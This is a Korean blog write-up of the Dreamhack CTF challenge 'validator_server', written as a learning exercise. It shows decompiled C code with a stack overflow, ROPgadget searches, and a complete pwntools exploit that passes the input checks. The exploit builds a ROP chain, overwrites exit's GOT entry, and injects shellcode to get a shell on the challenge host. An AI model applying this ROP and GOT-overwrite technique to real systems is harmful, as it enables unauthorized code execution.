
이번 문제는 c코드로 된 문제코드가 없어서 매우 당황했다
커뮤티니를 보니 ida툴로 디코딩을 해서 봐야하는 것 같았다
ida툴로 찾아 문제코드를 복구해보았다.
보호기법 확인

partial relro이기에 got를 사용할 수 있겠다
ida 툴에서 f5를 눌러 디코딩해 문제코드를 복구했다
문제코드

main을 먼저 확인하고 validate 함수를 불러오는것을 확인할 수 있다

validate 함수코드인데 이를 보면 main->validate 함수 -> 종료 패턴이다

correct 변수에는 커서를 올려보니 "" 안에 값과 동일하게 들어있다.
문제코드
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[128]; // [rsp+0h] [rbp-80h] BYREF
memset(s, 0, 0x10uLL);
read(0, s, 0x400uLL);
validate((__int64)s, 0x80uLL);
return 0;
}
__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
unsigned int i; // [rsp+1Ch] [rbp-4h]
int j; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 9; ++i )
{
if ( *(_BYTE *)((int)i + a1) != correct[i] )
exit(0);
}
for ( j = 11; a2 > j; ++j )
{
if ( *(unsigned __int8 *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
exit(0);
}
return 0LL;
}
보기 편하게 해놓고 보니 코드가 복잡하게 되어있다.
memset 함수로 변수 s를 0으로 설정하고
read 함수로 s변수에 1024만큼 값을 받는다
그리고 validate 를 s변수와 128를 인자로 받아 호출한다
validate 함수에서는 if 두개가 있는데
각각 correct 변수 0~9까지 총 10바이트가 일치한다면 exit를 실행하지 않고
a1변수 즉 main에 있던 s 변수에 11 ~ 128까지 반복하여
s와 s+1 값이 같으면 exit를 실행하지 않는다
그렇다면 s에 입력은 correct 변수값 + 0부터 1씩 증가하여 값을 추가 한다면
그 뒤에 got overwrite를 사용하여 쉘코드를 집어 넣으면 flag를 얻을 수 있겠다
문제 풀이 과정
1. ROP 가젯 찾기
2. payload 작성
3. 실행
1. ROP 가젯 찾기
got overwrite는 exit를 사용하고 read 함수를 사용할 것이기에 인자 3개를 사용
ROPgadget --binary ./validator_server --re "pop rdi"

ROPgadget --binary ./validator_server --re "pop rsi"

ROPgadget --binary ./validator_server --re "pop rdx"

2. payload 작성
from pwn import *
p = remote('host3.dreamhack.games', 11613)
e = ELF("./validator_server")
context.arch = "amd64"
shellcode = asm(shellcraft.sh())
pop_rdi = 0x004006f3
pop_rsi_r15 = 0x004006f1
pop_rdx = 0x0040057b
payload = b"DREAMHACK!" # 10 바이트
list = []
for i in range(119, 0, -1): # 119 바이트
list.append(i)
payload += bytes(list)
payload += b'a'*7 # 129 바이트에서 8바이트 씩 맞춰주기 위해 7 추가
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(e.got['exit']) + p64(0)
payload += p64(pop_rdx) + p64(0x150) + p64(e.plt['read'])
payload += p64(e.got['exit'])
p.send(payload)
p.send(shellcode)
p.interactive()
'a'값을 추가해 준 이유는 plt가 작동이 안되는것 같아 overwrite를 하기전에
8바이트씩 값을 맞춰주었다
3. 실행

풀이 실패 과정
1. 변수에 값을 넣을때 plt가 작동이 되지 않아 고민하던 중
overwrite 하기 전에 값들이 8바이트 씩 되어있지 않아 8바이트로 맞춰 주었더니
해결되었다.
2. 파이썬이 익숙하지 않아 배열에 값을 하나씩 추가해서 넣는 과정에 문제가 생겨
구글에서 찾아 해결했다
3. 쉘코드를 만드는 과정에서 shellcraft를 사용했는데
context.arch = "amd64" 를 추가하지 않아서 문제가 발생했다
인터넷에서 찾아볼 때 대충보지 말고 꼼꼼히 봐야겠다..
'시스템해킹' 카테고리의 다른 글
| [드림핵] off_by_one_001 풀이 (0) | 2024.09.06 |
|---|---|
| [드림핵] ssp_000 풀이 (0) | 2024.09.06 |
| [드림핵] cmd_center 풀이 (0) | 2024.07.21 |
| [드림핵] sint 풀이 (0) | 2024.07.21 |
| [드림핵] tcache_dup2 풀이 (0) | 2024.07.17 |